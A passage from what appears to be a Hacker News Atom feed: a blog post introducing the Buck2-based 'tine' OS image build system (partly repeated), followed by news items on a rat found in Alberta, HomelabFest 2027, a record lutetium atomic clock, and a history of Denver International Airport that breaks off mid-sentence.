definitions = image.DEFAULT_USR_VERITY_PARTITIONS,&#xA;    version = &#34;0.0.0&#34;,&#xA;    package_sets = [&#34;bootable&#34;],&#xA;    packages = [&#34;bash&#34;],&#xA;    ops = [&#xA;        image.copy(&#34;:duf[duf]&#34;, &#34;/usr/bin/duf&#34;),&#xA;    ],&#xA;)&#xA;`&#xA;&#xA;We can ask Buck2 for all available build targets in a cell.&#xA;&#xA; `tine/bin/tine buck targets //...&#xA;# root//:demo&#xA;# root//:demo.initrd&#xA;# root//:duf&#xA;# root//:duf.git&#xA;# root//:example.git&#xA;# root//:go.box&#xA;# root//:go.box.exec&#xA;`&#xA;&#xA;After all of that, we can now build the image. However, it’s far more interesting to actually see it live in QEMU. Let’s add a VM definition, with auto-login for convenience, that boots our shiny new demo image using QEMU and related tools from tine’s own Rawhide catalog.&#xA;&#xA; `image.vm(&#xA;    name = &#34;demo-vm&#34;,&#xA;    autologin = &#34;root&#34;,&#xA;    # re-using tine&#39;s rawhide box which has all of QEMU etc. installed&#xA;    box = &#34;tine//catalog:fedora.rawhide.box&#34;,&#xA;    image = &#34;:demo&#34;,&#xA;    credentials = {&#xA;        &#34;firstboot.timezone&#34;: &#34;UTC&#34;,&#xA;    }&#xA;)&#xA;`&#xA;&#xA;This single command from a clean tree will then build the Go project, the image, and boot it.&#xA;&#xA; `tine/bin/tine buck run :demo-vm&#xA;`&#xA;&#xA;You should see the following.&#xA;&#xA; `[  OK  ] Reached target graphical.target - Graphical Interface.&#xA;Fedora Linux 46 (Rawhide Prerelease)&#xA;Kernel 7.3.0-0.rc3.260916g9b87fdc9af2f.34.fc46.x86_64 on an x86_64 (hvc0)&#xA;fedora login: root (automatic login)&#xA;-bash-5.3# duf --help&#xA;Usage of duf:&#xA;      --all   include pseudo, duplicate, inaccessible file systems&#xA;[...]&#xA;-bash-5.3# ...&#xA;-bash-5.3# systemctl poweroff&#xA;`&#xA;&#xA;Look at tine’s examples/ directory for BUCK and auxiliary files for various scenarios such as a SecureBoot/verity OS signed by either a generated or hardware key, how to build Go/Rust projects, the various kinds of rules and customizations which tine offers, or how to write integration tests.&#xA;&#xA;## SBOMs for Free&#xA;&#xA;tine gives you a lot more for free. For example, it integrates the Syft SBOM generator so you can ask it to build a CycloneDX standard SBOM. Let’s also specify an output path, so that you don’t have to fish it out of buck-out/:&#xA;&#xA; `tine/bin/tine buck build --out /tmp/demo.cdx.json :demo[sbom][cyclonedx]&#xA;`&#xA;&#xA;## There’s Much More!&#xA;&#xA;This blog post has only covered the basics. In order to get a fuller picture, please refer to the documentation. We think the following topics are the most helpful to get started.&#xA;&#xA;- The distro package machinery for importing, modifying, and syncing/merging packages from Fedora or Arch&#xA;- Setting up a shared build cache, and the details of its threat model and design&#xA;- Signing builds with hardware keys through PKCS#11&#xA;- Including auditable cargo projects and Go projects into image builds&#xA;- Using tine mount for rapid iteration on a built third-party git project component&#xA;- tine comes with builtin tools for bumping dependencies and refreshing the catalog which you can re-use in your project to automate the regular housekeeping and get tested PRs for them, like this one&#xA;- tine also supports Arch, BTW!&#xA;&#xA;The next post in this series will be about the update and provisioning system we have built to distribute these and other images. We hope to see you then!&#xA;&#xA;This post is part of a series covering some of the open source work we have been doing in recent months. Today we introduce and publish _tine_, our new Buck2-based build system.&#xA;&#xA;## Our Requirements&#xA;&#xA;Building an operating system with cryptographically verifiable integrity has to start with a build system with these very properties. At the same time, we are part of the greater open source community and want both to contribute and re-use as much existing work as possible. We also aim for efficient development with fast turnaround.&#xA;&#xA;This roughly translates into the following requirements for our build system:&#xA;&#xA;- **Minimal host requirements.** It must be self-contained and must minimize external dependencies, so that it can be run in any environment.&#xA;- **Full control over inputs.** It must allow pinning every piece of software that goes into a product. It must support a choice of upstream distributions (Fedora, CentOS, Arch, Debian, etc.) and reuse existing packages where possible, while still making it easy to react quickly to CVEs and to diverge (either temporarily or permanently) from upstream packaging decisions when necessary.&#xA;- **Integrated package machinery.** It must provide tooling for importing, updating, and merging imported packages.&#xA;- **Cheap world rebuilds.** It must be able to rebuild the world on demand, e.g. after a gcc bump.&#xA;- **Hermetic, reproducible builds.** All component and image builds must run in a hermetic environment and produce bitwise reproducible output.&#xA;- **Native image builds.** It must be able to build bootable operating system images and systemd sysext images natively and concurrently.&#xA;- **Monorepo-based iteration.** It must support maintaining the operating system in a single top-level monorepo for fast end-to-end iteration. A change to an imported rpm or to a Go or Rust component must be immediately buildable and testable across the full set of images, without intermediate commits or pushes and without elaborate version or dependency declarations.&#xA;- **First-class custom components.** It must natively and efficiently build Go and Rust projects from pinned external repositories, for example kubernetes or varlink-http-bridge.&#xA;- **Scanner compatibility.** Built images must work with standard SBOM tooling and security scanners such as syft/grype or trivy.&#xA;- **Caching.** Builds must be able to retrieve unchanged components from a local and/or global cache. Building everything from scratch can take hours, and a developer is usually only working on a single component.&#xA;&#xA;## Existing Tools&#xA;&#xA;Before building our own build tool, we evaluated several options.&#xA;&#xA;### mkosi&#xA;&#xA;Given our team includes the creator and maintainer of `mkosi`, it was a natural first candidate to evaluate. But we quickly came to the conclusion that it has some fundamental shortcomings. It’s great at building individual images based on upstream packages, but becomes restrictive when building several weakly related images or if you need more control over the artifacts that make up an image. Building multiple images is limited to images that are intended to be shipped as part of the “main” image.&#xA;&#xA;We need to build many different kinds of artifacts in a uniform and robust way, not just images. Hence the build needs to be orchestrated by a generic and flexible tool. The main build file should be a language calling into _library functions_ like “compile a cargo crate” or “build a UKI”. mkosi is the opposite, it’s a _framework_: It knows how to build images, and only gives you free-form opaque hooks for the other kinds of builds. That leads to a bad experience when you want to build more than just images.&#xA;&#xA;### Open Build Service&#xA;&#xA;The Open Build Service (OBS) is a powerful fully-integrated build system that is primarily used by SUSE and the openSUSE project to produce all of their artifacts, anything from packages to ISOs, and many other image formats. It has strong dependency tracking and supports a dizzying array of distributions.&#xA;&#xA;However, it’s also the antithesis of “minimal host requirements”. The server side of it is required, central, and non-trivial to self-host. It’s also not a generic build system, meaning any new artifact types would either have to be modelled as packages or require heavy patches to OBS. We concluded that this lack of flexibility combined with its overall architecture would make it difficult for OBS to meet our requirements.&#xA;&#xA;### BuildStream&#xA;&#xA;Apache BuildStream describes the operating system image as a graph of YAML &#34;elements&#34;, each with its own sources, dependencies and build commands. BuildStream builds each one in a bubblewrap sandbox and caches the result under a hash of everything that went into it, similar to Buck2. It is mature and used to build freedesktop-sdk, GNOME OS, and WebKitGTK.&#xA;&#xA;Our concerns with BuildStream are mostly around bootstrapping and extensibility. BuildStream is a Python application with compiled extensions and other dependencies. It relies on a separate set of helper programs, plus sandboxing tools from the host. Each of those can be pinned, but through different mechanisms, and even then the result still depends on the host&#39;s Python. In practice you run it from a pinned container image instead, but then you’re still dependent on an entire container runtime you don’t control.&#xA;&#xA;BuildStream’s YAML is a plain data format, and is extended with Python plugins. YAML has no functions, so over time you end up copy-pasting across the project. Ultimately we decided to go for a tool with a better bootstrapping and pinning story as well as a more flexible language.&#xA;&#xA;### Antlir&#xA;&#xA;Antlir is Meta&#39;s OS image builder, built on top of the Buck2 build system engine. Buck2 is Meta&#39;s open source build system with emphasis on correctness, flexibility, and caching as much as possible. Antlir implements various rules for building images with Buck2.&#xA;&#xA;As Antlir is a high-level tool focused on Meta’s internal repository, it is naturally very opinionated and designed for Meta’s internal use cases. For example, it requires btrfs and is strongly focused on a single monorepo.&#xA;&#xA;While we decided against using Antlir itself, its underlying engine, Buck2, turned out to be a good fit, and we ended up choosing it as the foundation for our own build system.&#xA;&#xA;## Our Build System: tine&#xA;&#xA;In essence, tine is a set of opinionated Buck2 rules to build rpm, Rust crate and Go module components, UKIs, and images; it can sign images either with a hardware key through PKCS#11 or a locally generated key. The intent is to combine the best ideas from Antlir and mkosi into a single tool.&#xA;&#xA;tine has only three requirements on its build host: git, python3 (just for its own bootstrapping, not for production builds) and user namespaces. From there, it bootstraps everything it needs from pinned declarations to get a reproducible and independent build environment. That can be a distribution as old or modern as you need.&#xA;&#xA;An important tine concept is the “ **box**”, which is a declared and pinned down environment to run a build task. Think containers or distrobox, but declared natively in Buck2’s language, and using Buck2’s caching and rebuild rules, so they build quickly and naturally, stay reproducible, and need no further dependencies to run. tine itself defines boxes for running rpmbuild, go, or cargo, or a bigger multi-purpose one called fedora.rawhide.box which contains e.g. systemd-ukify for building images and QEMU for running virtual machines. Your own project can define its own boxes.&#xA;&#xA;### tine’s Engine: Buck2&#xA;&#xA;To better understand this post and the examples, here is a one-minute Buck2 primer for those familiar with Make or Meson:&#xA;&#xA;- **Build file:** A BUCK file is the directory&#39;s Makefile equivalent. It&#39;s written in a Python dialect called Starlark, and declares all _targets_ that you can build.&#xA;- **Cell:** A named build graph root; these roughly follow the boundaries of git repositories: // is your own top-level project (the OS you want to build), tine// is the tine checkout which your project pulls in.&#xA;- **Target:** A named node in the build graph, i.e. one particular thing that you want to build. They are addressed with an absolute path of the form cell//directory/sub:name, which refers to a target name defined in cell’s directory/sub/BUCK file. Within a cell, you can also use relative paths, like `subdir:name`, or even just `:name` for a target in the current directory. A single target can publish several output variants (“subtargets”), e.g. `:my_cool_os[qcow2]` or `:my_cool_os[sbom]`.&#xA;- **Rule:** The equivalent of a meson `*_target()`, or the structure of a Makefile rule: a Starlark expression which translates a target into a set of _actions_ and their parameters. It does not run anything by itself. For example, a `bootable_disk(name = “myos”, param1 = …)` rule defines a `myos` target and invokes a `bootable_disk` rule which translates it into actions like “install rpms”, “run `systemd-repart”` and so on.&#xA;- **Action:** One build command with its declared inputs and outputs, the equivalent of the commands in a Makefile rule. That abstraction allows running all of them consistently in a sandbox which only sees these inputs. When Starlark doesn’t suffice, these rules can be implemented with the full power of Python.&#xA;&#xA;More information can be found on Buck2’s key concepts page.&#xA;&#xA;Unlike Make or Meson, Buck2 never decides what to rebuild from timestamps. An action is keyed by a hash of all of its inputs: the sources, the tool binaries, the build platform configuration, and the command line itself. That is what makes its incremental builds correct and trustworthy, and it also allows taking an action&#39;s result from a shared cache instead of re-running it.&#xA;&#xA;## Walkthrough: Building a Bootable Image&#xA;&#xA;Let’s walk through how to use tine in your own projects. We will build a very basic example from scratch: a bootable image based on Fedora Rawhide with a Go project, and boot it. In this example, we’ll use duf, a CLI tool that shows free/used disk space in a text terminal with nice ASCII art.&#xA;&#xA;Let’s follow tine&#39;s README and set up a fresh demo git repository which pulls in tine and initializes it.&#xA;&#xA; `git init tine-demo&#xA;cd tine-demo&#xA;git submodule add https://github.com/amutable-systems/tine tine&#xA;tine/bin/tine init&#xA;git add .&#xA;git commit -m &#34;initialize&#34;&#xA;`&#xA;&#xA;Now let’s add a BUCK file. We’ll walk through it in several blocks, but these all go in the same file. First we need to import some definitions. This is Starlark, so akin to Python’s import statements.&#xA;&#xA; `load(&#34;@tine//box:defs.bzl&#34;, &#34;box&#34;)&#xA;load(&#34;@tine//git:defs.bzl&#34;, &#34;git&#34;)&#xA;load(&#34;@tine//go:defs.bzl&#34;, &#34;go&#34;)&#xA;load(&#34;@tine//image:defs.bzl&#34;, &#34;image&#34;)&#xA;`&#xA;&#xA;Next we need to define a build environment for the Go compiler. tine already offers a Fedora rawhide catalog. So, let’s just use that (hence the tine// cell) and Fedora’s golang package. A real project would likely define and track their parent OS catalog by itself, instead of blindly following tine’s.&#xA;&#xA; `box.new(&#xA;    name = &#34;go.box&#34;,&#xA;    packages = [&#34;golang&#34;],&#xA;    release = &#34;tine//catalog:fedora.rawhide.release&#34;,&#xA;)&#xA;`&#xA;&#xA;Declare the duf Go project git repository which we want to build. tine requires pinning every input exactly, so we specify a git commit ID. That git repository is then passed as input to the go.package() rule which binds the above go.box and the git checkout, both referenced as relative targets (see above), hence the colon separator.&#xA;&#xA; `git.fetch(&#xA;    name = &#34;duf.git&#34;,&#xA;    repo = &#34;https://github.com/muesli/duf&#34;,&#xA;    rev = &#34;4636deb4a7b707a9f04c602db033f9837e50b3f6&#34;,&#xA;)&#xA;go.package(&#xA;    name = &#34;duf&#34;,&#xA;    box = &#34;:go.box&#34;,  # a target in the current directory&#xA;    src = &#34;:duf.git&#34;, # another target&#xA;)&#xA;`&#xA;&#xA;With that we can already build and execute the binary.&#xA;&#xA; `tine/bin/tine buck run :duf&#xA;# [...]&#xA;# BUILD SUCCEEDED - starting your binary&#xA;# 5 local devices&#xA;# [...]&#xA;`&#xA;&#xA;And now for the last big piece: the bootable image. Just as with the Go box, we re-use the tine catalog’s package manager that gets packages from Fedora Rawhide. This is the minimum set to be able to boot in a virtual machine, plus bash. As an extra ops (operation) this installs the built hello binary from the above go rule.&#xA;&#xA; `image.bootable_disk(&#xA;    name = &#34;demo&#34;,&#xA;    package_manager = &#34;tine//catalog:fedora.rawhide.package-manager&#34;,&#xA;    definitions = image.DEFAULT_USR_VERITY_PARTITIONS,&#xA;    version = &#34;0.0.0&#34;,&#xA;    package_sets = [&#34;bootable&#34;],&#xA;    packages = [&#34;bash&#34;],&#xA;    ops = [&#xA;        image.copy(&#34;:duf[duf]&#34;, &#34;/usr/bin/duf&#34;),&#xA;    ],&#xA;)&#xA;`&#xA;&#xA;We can ask Buck2 for all available build targets in a cell.&#xA;&#xA; `tine/bin/tine buck targets //...&#xA;# root//:demo&#xA;# root//:demo.initrd&#xA;# root//:duf&#xA;# root//:duf.git&#xA;# root//:example.git&#xA;# root//:go.box&#xA;# root//:go.box.exec&#xA;`&#xA;&#xA;After all of that, we can now build the image. However, it’s far more interesting to actually see it live in QEMU. Let’s add a VM definition, with auto-login for convenience, that boots our shiny new demo image using QEMU and related tools from tine’s own Rawhide catalog.&#xA;&#xA; `image.vm(&#xA;    name = &#34;demo-vm&#34;,&#xA;    autologin = &#34;root&#34;,&#xA;    # re-using tine&#39;s rawhide box which has all of QEMU etc. installed&#xA;    box = &#34;tine//catalog:fedora.rawhide.box&#34;,&#xA;    image = &#34;:demo&#34;,&#xA;    credentials = {&#xA;        &#34;firstboot.timezone&#34;: &#34;UTC&#34;,&#xA;    }&#xA;)&#xA;`&#xA;&#xA;This single command from a clean tree will then build the Go project, the image, and boot it.&#xA;&#xA; `tine/bin/tine buck run :demo-vm&#xA;`&#xA;&#xA;You should see the following.&#xA;&#xA; `[  OK  ] Reached target graphical.target - Graphical Interface.&#xA;Fedora Linux 46 (Rawhide Prerelease)&#xA;Kernel 7.3.0-0.rc3.260916g9b87fdc9af2f.34.fc46.x86_64 on an x86_64 (hvc0)&#xA;fedora login: root (automatic login)&#xA;-bash-5.3# duf --help&#xA;Usage of duf:&#xA;      --all   include pseudo, duplicate, inaccessible file systems&#xA;[...]&#xA;-bash-5.3# ...&#xA;-bash-5.3# systemctl poweroff&#xA;`&#xA;&#xA;Look at tine’s examples/ directory for BUCK and auxiliary files for various scenarios such as a SecureBoot/verity OS signed by either a generated or hardware key, how to build Go/Rust projects, the various kinds of rules and customizations which tine offers, or how to write integration tests.&#xA;&#xA;## SBOMs for Free&#xA;&#xA;tine gives you a lot more for free. For example, it integrates the Syft SBOM generator so you can ask it to build a CycloneDX standard SBOM. Let’s also specify an output path, so that you don’t have to fish it out of buck-out/:&#xA;&#xA; `tine/bin/tine buck build --out /tmp/demo.cdx.json :demo[sbom][cyclonedx]&#xA;`&#xA;&#xA;## There’s Much More!&#xA;&#xA;This blog post has only covered the basics. In order to get a fuller picture, please refer to the documentation. We think the following topics are the most helpful to get started.&#xA;&#xA;- The distro package machinery for importing, modifying, and syncing/merging packages from Fedora or Arch&#xA;- Setting up a shared build cache, and the details of its threat model and design&#xA;- Signing builds with hardware keys through PKCS#11&#xA;- Including auditable cargo projects and Go projects into image builds&#xA;- Using tine mount for rapid iteration on a built third-party git project component&#xA;- tine comes with builtin tools for bumping dependencies and refreshing the catalog which you can re-use in your project to automate the regular housekeeping and get tested PRs for them, like this one&#xA;- tine also supports Arch, BTW!&#xA;&#xA;The next post in this series will be about the update and provisioning system we have built to distribute these and other images. We hope to see you then!</content>
    <link href="https://amutable.com/blog/tine-build-system" rel="alternate"></link>
    <author>
      <name>Levitating</name>
    </author>
  </entry>
  <entry>
    <title>Alberta&#39;s image as world&#39;s only rat-free region shattered by discovery of rat</title>
    <updated>2026-09-26T15:51:12+09:00</updated>
    <id>hn_49853918</id>
    <content type="html">For more than seven decades, residents of Alberta have shared something in common with Antarctica and the high Arctic: all locations are officially free of rats.&#xA;&#xA;But on Thursday the Canadian province’s reputation as a firewall against rodent infestation took a hit when the town of Bowden announced the discovery of a dead rat and called on the province’s “rat patrol” to investigate.&#xA;&#xA;“If you’ve noticed rat droppings or any signs of rats, please contact Rat Patrol Alberta so they can follow up,” the town said in a statement. “Please stay alert and report any sightings.”&#xA;&#xA;Officials in Bowden did not say where in the town the rat was found.&#xA;&#xA;But as global temperatures increase, rat numbers have surged in major cities. Over the past decade, rats increased by 390% in Washington DC, 300% in San Francisco and 162% in New York, according to researchers, who analysed public sightings and infestation reports. Toronto, Canada’s largest city, is facing a “perfect rat storm”, with numbers up 186% in the last 10 years.&#xA;&#xA;Unlike other regions in the world that have been overrun by the wily and adaptable urban mammals, Alberta has actively fought rats from entering at all.&#xA;&#xA;“Albertans have enjoyed living without the menace of rats since 1950 when the Rat Control Program was established,” the province says in its rat guide.&#xA;&#xA;It cites both the province’s unique geography, with mountain ranges and boreal forest surrounding most of Alberta, and the fact that the Norway rat – “one of the most destructive creatures known to man”, the province claims – cannot survive in vast natural areas and cannot overwinter in cultivated fields. The very lack of the humans and their structures that rats need to survive has given the province a chance to ward off infestation.&#xA;&#xA;In the 1950s, suspecting rats might try to enter from the east by way of neighbouring Saskatchewan, Alberta officials created a “rat control zone” – a strip of land measuring 373 miles by 18 miles (600km by 30km) – to monitor incursions that ranges from Cold Lake in the north to the Montana border in the south.&#xA;&#xA;In addition, from June 1952 to July 1953, 140,000lb of 73% arsenic trioxide powder was used to treat 8,000 buildings on 2,700 farms to slow the spread of rats.&#xA;&#xA;The province also amended the Agricultural Pests Act of Alberta in 1950, obliging “every person and municipality” to destroy rats they found; made posters reminiscent of a national war effort; and hosted a radio show, Call of the Land, to educate residents.&#xA;&#xA;Today, there are dedicated telephone lines and an email address to report rats.&#xA;&#xA;But while the rat patrol receives hundreds of calls each year, it says the vast majority are not rats but muskrats, voles and field mice.&#xA;&#xA;Still, it concedes there are exceptions. “Alberta’s rat-free status means there is no resident population of rats and they are not allowed to establish themselves. It does not mean we never get rats.”</content>
    <link href="https://www.theguardian.com/world/2026/sep/25/alberta-canada-rat-patrol" rel="alternate"></link>
    <author>
      <name>pseudolus</name>
    </author>
  </entry>
  <entry>
    <title>HomelabFest will be in St. Louis in September 2027</title>
    <updated>2026-09-26T11:03:24+09:00</updated>
    <id>hn_49852462</id>
    <content type="html">### September 12 - 14, 2027 • St. Louis, MO&#xA;&#xA;HomelabFest is a celebration of self-hosting and homelabs of all sizes! If you’re interested in home networking, tinkering with hardware, digital privacy, or building your own mini (or full-size) rack, this event is for you.&#xA;&#xA;## Where&#xA;&#xA;**St. Charles Convention Center**&#xA;&#xA;1 Convention Center Plaza&#xA;&#xA;St. Charles, MO 63303&#xA;&#xA;Google Maps \| Apple Maps&#xA;&#xA;The St. Charles Convention Center is 10 minutes from the Airport, 25 minutes from downtown St. Louis, and within walking distance of Main Street St. Charles and the Streets of St. Charles.&#xA;&#xA;See **Hotel and Travel Accommodations** for more information about lodging at Embassy Suites&#xA;&#xA;(which is attached to the Convention Center).&#xA;&#xA;## Registration&#xA;&#xA;Click here to register for HomelabFest 2027&#xA;&#xA;**$125 Early Bird** tickets&#xA;&#xA;are only available until November!&#xA;&#xA;(or until sold out)&#xA;&#xA;Read more about tickets on the registration page.&#xA;&#xA;## Featured Creators&#xA;&#xA;A number of content creators will be present to celebrate all things homelab and share their knowledge and enthusiasm! Check out the list of Featured Creators.&#xA;&#xA;## Hours&#xA;&#xA;_More information coming soon._&#xA;&#xA;## Sponsors&#xA;&#xA;HomelabFest couldn’t happen without the support of our amazing sponsors! Visit the Sponsors page for sponsorship details and a full list of sponsors.</content>
    <link href="https://www.homelabfest.org" rel="alternate"></link>
    <author>
      <name>geerlingguy</name>
    </author>
  </entry>
  <entry>
    <title>Scientists build most accurate atomic clock</title>
    <updated>2026-09-24T10:00:01+09:00</updated>
    <id>hn_49824846</id>
    <content type="html"># Scientists build world&#39;s most accurate atomic clock&#xA;&#xA;Take a second and turn it into trillions of moments. Measure each one. That&#39;s how precisely an atomic clock at Singapore&#39;s Centre for Quantum Technologies (CQT) keeps time—and with record-setting accuracy, according to results published in _Nature_ on Sept. 23.&#xA;&#xA;&#34;I am confident that what we have now is the most accurate clock in the world,&#34; says team leader Murray Barrett, a CQT principal investigator and associate professor in the Department of Physics at the National University of Singapore.&#xA;&#xA;The researchers base their claim on measurements showing that their atomic clock, built from the element lutetium, outperforms previous record holders built from different elements.&#xA;&#xA;More accurate clocks hold promise for probing unknowns in fundamental physics and monitoring gravitational changes across Earth—and they are vying to redefine the second.&#xA;&#xA;## Pushing the limits of timekeeping&#xA;&#xA;Atomic clocks keep time by referring to an atomic transition, when one of an atom&#39;s electrons changes energy levels. The frequency of this transition is a fixed property of the atom. A laser is matched to this &#34;clock transition,&#34; and the light oscillations act like a pendulum to count time.&#xA;&#xA;The basic method has been in place for decades. Cesium atoms have set the global standard for time since the 1960s, and cesium atomic clocks already support the Global Positioning System (GPS) and synchronize communication and transport networks.&#xA;&#xA;But scientists have been pushing the limits of timekeeping with other elements.&#xA;&#xA;Elements such as recent record holders ytterbium, strontium and aluminum oscillate much faster than cesium, helping them keep time more accurately. The international body responsible for time standards is considering data from such new optical atomic clocks toward a redefinition of the second expected in or after 2030.&#xA;&#xA;The CQT team started working with lutetium over a decade ago on the hunch that it had the right properties to join the set of top-performing clocks. To its knowledge, it is the only group working with this element for timekeeping so far.&#xA;&#xA;Now, the team has measured the frequency of its lutetium clock to 19 decimal places, reporting an uncertainty of 1 x 10-19, the lowest reported for any optical atomic clock to date. The researchers also built two clocks and compared their ticking. The clocks agreed to an uncertainty of 5.7 x 10-19, making it the most precise clock comparison ever made. More measurements could reduce that uncertainty further.&#xA;&#xA;## Lutetium&#39;s advantage&#xA;&#xA;Lutetium&#39;s strong performance comes from properties of the atom: Its clock transition is hardly affected by changes in temperature or magnetic field. In other elements, these environmental factors can slightly vary the frequency of the clock transition.&#xA;&#xA;&#34;In the future, I just don&#39;t see how this clock can be beat,&#34; says Barrett. His team has spent over a decade doing precision engineering on its atomic clock setup and testing different properties of the atom. That work included inventing a scheme called &#34;hyperfine averaging&#34; to define the clock transition.&#xA;&#xA;&#34;The good properties mean that high accuracy can be achieved even in a wide range of environments,&#34; says Barrett. &#34;The lutetium clock would be stable even if you went from the hottest place recorded on Earth in Death Valley to the coldest place in the Antarctic plateau.&#34;&#xA;&#xA;## Two is better than one&#xA;&#xA;The team&#39;s confidence is bolstered by its clock comparison, carried out using a technique known as correlation spectroscopy over 200 hours of measurement.&#xA;&#xA;Each lutetium clock consists of a single charged 176Lu+ ion with a clock transition matched to a laser with a wavelength of 848 nanometers.&#xA;&#xA;&#34;There is a humorous saying that &#39;A man with a watch knows what time it is. A man with two watches is never sure,&#39;&#34; says Dr. Kyle Arnold, a senior research scientist from CQT at NUS and joint first author on the paper. &#34;It basically tells you that the only way to test the accuracy of a standard is to compare clocks and demonstrate reproducibility.&#34;&#xA;&#xA;Ideally, the team would also compare its lutetium clock to the world&#39;s other best atomic clocks, but there&#39;s a challenge. Optical atomic clocks at the 10-19 level are so precise they can detect the slowing of time caused by gravity over height differences of millimeters.&#xA;&#xA;The CQT team&#39;s comparison measurement could resolve a 5 mm height difference between its clocks on the same table. To ensure that this did not limit the measurement, the researchers independently measured the height difference of the Lu+ ions to within a millimeter. Differences in gravity between places on Earth are not yet known well enough to compare clocks at this level.&#xA;&#xA;To enable new comparisons and explore future applications, the clock needs to come out of the lab. &#34;The next step is to take the lab-scale clock and miniaturize it into a transportable system,&#34; says Michael Lee, joint first author on the paper and a Ph.D. student on the NUS team. The researchers expect they can make their clock smaller without compromising its accuracy.&#xA;&#xA;###### Publication details&#xA;&#xA;Kyle Joseph Arnold, Lu+ optical frequency references with accuracy verified at the 19th digit, _Nature_ (2026). DOI: 10.1038/s41586-026-11072-8. www.nature.com/articles/s41586-026-11072-8&#xA;&#xA;**Journal information:**&#xA;Nature&#xA;&#xA;&#xA;&#xA;&#xA;###### Key concepts&#xA;&#xA;**Atomic &amp; molecular processes in external fields**&#xA;&#xA;**Atomic &amp; molecular structure**&#xA;&#xA;**Spectroscopy**&#xA;&#xA;Provided by National University of Singapore&#xA;&#xA;**Citation**: Scientists build world&#39;s most accurate atomic clock (2026, September 23) retrieved 26 September 2026 from https://phys.org/news/2026-09-scientists-world-accurate-atomic-clock.html</content>
    <link href="https://phys.org/news/2026-09-scientists-world-accurate-atomic-clock.html" rel="alternate"></link>
    <author>
      <name>wglb</name>
    </author>
  </entry>
  <entry>
    <title>A new world airport and its baggage</title>
    <updated>2026-09-24T07:30:46+09:00</updated>
    <id>hn_49823490</id>
    <content type="html"># a new world airport and its baggage&#xA;&#xA;Aviation came to Denver mainly in the form of mail. Like much of the inland West, the first airfields served a smattering of passenger flights (both expensive and uncomfortable in the 1930s) and a regular schedule of contract mail carriers. Postal Service air mail contracts built many of the nation&#39;s major airlines—and its major airports. One of Denver&#39;s simple airstrips, Denver Municipal Airport, transformed from a mail stop to a busy airport when Continental Airlines moved its headquarters to Denver 1937, and then again when a modern passenger terminal was completed in 1946. Along the way, it had been renamed for the mayor who oversaw much of its development: Stapleton.&#xA;&#xA;The Second World War, and then the post-war return, brought both a boom in aviation generally and in Denver specifically. The city&#39;s population grew by almost 10,000 a year from 1940 to 1960. During the &#39;60s, Stapleton gained an additional runway and a new terminal as the schedule grew from under forty departures a day to over one hundred. When airline deregulation prompted a total restructuring of the industry, both by consolidation and widespread adoption of a &#34;hub and spoke&#34; model, Denver&#39;s central location made it an obvious choice of hub. United, Continental, Western, and Frontier Airlines all made Denver Stapleton a busy node in their growing networks.&#xA;&#xA;With growing traffic, Stapleton showed its age. The passenger terminals were too small, but moreover, the field had become cramped. The runways were too close to each other for more than one simultaneous approach during instrument conditions, a bottleneck so severe that bad weather in Denver would cause flight delays that cascaded nationwide. The airfield at Stapleton could not be expanded: a combination of terrain, adjacent land in private ownership, and legal disputes with nearby residents and Adams County (where Stapleton was located) effectively precluded any runway additions or extensions. By the &#39;80s, Southwest Airlines was rapidly expanding beyond its native Texas—but service to Denver was blocked by a lack of available gates at Stapleton.&#xA;&#xA;By fluke of politics, the City of Denver was abruptly committed to construction&#xA;of a brand-new airport in 1983: mayoral candidate Monte Pascoe had made a New&#xA;World Airport the core of his platform. As it happened, he came up third in a&#xA;race of three, but not before goading the other two candidates—including winner&#xA;Frederico Peña—into signing a written commitment to see the new airport through.&#xA;In 1984, planning started for the New Denver Airport. 48.3 square miles of Adams&#xA;County were annexed to Denver and, in 1989, Denver voters approved a referendum&#xA;in favor of the new airport by a wide margin. Located northeast of Denver on a&#xA;huge plot of mostly agricultural land, many of us have been there, at least on a&#xA;layover: Denver International Airport, DIA 1.&#xA;&#xA;From the New World Order to contracting scandals to &#34;Blucifer,&#34; DIA is an infamous airport. Some level of, well, intrigue was probably guaranteed. DIA was the first major airport project in the United States since Dallas-Fort Worth in 1974. DIA planners, later defending their efforts, noted that they had extensively studied the lessons learned from comparable US projects since the Second World War, of which they had identified only two. One of the largest public works projects to date, DIA&#39;s budget started around $3 billion and ended at nearly $5. Along the way, a lot went wrong.&#xA;&#xA;This is not a full history of DIA&#39;s awkward early years. That would require a book, and a challenging one to write given that the ensuing lawsuits, political scandal, and media attention mean that many of the facts are disputed. But before we reach our main story, it will be helpful to understand some of the context in which DIA was formed.&#xA;&#xA;By the time primary construction was underway in 1990, DIA was slated to be one of the largest airports in the nation. Despite that, it technically had no airlines. Political details of the project&#39;s initiation meant it went ahead without the explicit support of any of its expected tenants. United Airlines would be the largest by far, occupying all of the large B terminal, but negotiations between the City and United did not land a commitment from that airline until over a year into construction. Continental Airlines had agreed earlier, but had just gone bankrupt for a second time in a decade, and Denver came to worry that they would not ultimately be good for the lease payments on the A terminal being built for them. The C terminal, intended for all of the other airlines, remained unoccupied. In the mean time, Denver&#39;s booming post-war economy had considerably slowed, turning the airport into an almost completely debt-funded project.&#xA;&#xA;The result was that the airlines, and specifically United Airlines, gained&#xA;enormous leverage over the design of the airport. That itself is common, but&#xA;DIA had the unique challenge that the airlines became the dominant stakeholder&#xA;in its design only _after_ much of the design was complete. While everyone&#xA;disagrees with everyone else on who was at fault and for what, I think this is&#xA;a fair napkin sketch: the first two years of serious effort on DIA were led by&#xA;the City, motivated mostly by factors like tourism and prestige and with little&#xA;thought for the operational practicalities of a massive airport. In the second&#xA;two years, United Airlines came on the scene and attempted to reshape the&#xA;partially-built airport to their aggressive operational requirements.&#xA;&#xA;And those requirements were a formidable challenge. DIA&#39;s scale meant that it&#xA;would be split between four buildings, a ticketing/baggage concourse and the&#xA;three terminals. This layout allowed room for an ample number of gates. At the&#xA;same time, congestion on the airfield itself had been a challenge at Stapleton&#xA;and an issue that the airlines were extremely sensitive to. United Airlines&#xA;ultimately agreed to operate out of DIA only if the airport could meet United&#39;s&#xA;goal of a breakneck operational tempo with aircraft turned around in under 35&#xA;minutes 2. To keep taxiing aircraft in motion, the terminals were separated&#xA;widely so that the &#34;alleys&#34; in between could accommodate aircraft at gates, a&#xA;row of aircraft waiting for gates on each side, and still have room for two&#xA;taxiing jets to pass each other. It is, in effect, something like six taxiways&#xA;between each terminal. The measurements work out such that terminals A, B, and&#xA;C are about 0.5, 1, and 1.5 km from the ticketing building.&#xA;&#xA;The buildings are not connected at the surface (except, today, terminal A and ticketing). Instead, DIA used an innovative design in which all movement between the buildings happens underground. This allowed a far more open airfield 